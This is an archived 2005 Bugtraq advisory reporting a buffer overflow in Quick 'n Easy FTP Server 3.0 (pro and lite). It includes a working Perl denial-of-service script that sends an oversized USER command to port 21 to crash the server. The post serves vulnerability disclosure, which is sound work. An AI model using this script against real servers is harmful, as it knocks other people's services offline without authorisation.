bugtraq - Quick 'n Easy FTP Server 3.0 pro / lite (buffer overflow vulnerabilities)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 2 Aug 2005 13:58:47 -0000
From: matiteman@...urityfocus.com, "[at]"@securityfocus.com,
	hotmail.com@...urityfocus.com
To: bugtraq@...urityfocus.com
Subject: Quick 'n Easy FTP Server 3.0 pro / lite (buffer overflow
 vulnerabilities)


Details:
========

Input to the user commands is not properly checked

and/or filtered. Issuing a long argument to the user (about 1024 caracteres)

commands will cause the corresponding process to die without any error message.

this vulnerabilities exist in both the professionnal version 3.0 and lite version 3.0



Exploits:
========

Run the following PERL script against the server. The corresponding

process will die.



#=====testserver.pl =====

#

# Usage: testserver.pl <ip>

# testserver.pl 127.0.0.1

# bug discovered by : matiteman

# exploit coded by : matiteman

# thanks to : Reed Arvin (peachfuzz)

# Quick 'n Easy FTP Server 3.0 (pro and lite)

# Download:

# http://www.pablosoftwaresolutions.com/

#

##########################################



use IO::Socket;

use strict;



my($socket) = "";



if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => "21",

Proto => "TCP"))

{

print "Attempting to kill Quick 'n Easy FTP Server 3.0 (pro / lite) at $ARGV[0]:21...\n";



sleep(1);



print $socket "user " . "A" x 1024 . "\r\n";



sleep(1);



close($socket);

}

else

{

print "Cannot connect to $ARGV[0]:21\n";

}

#===== testserver.pl =====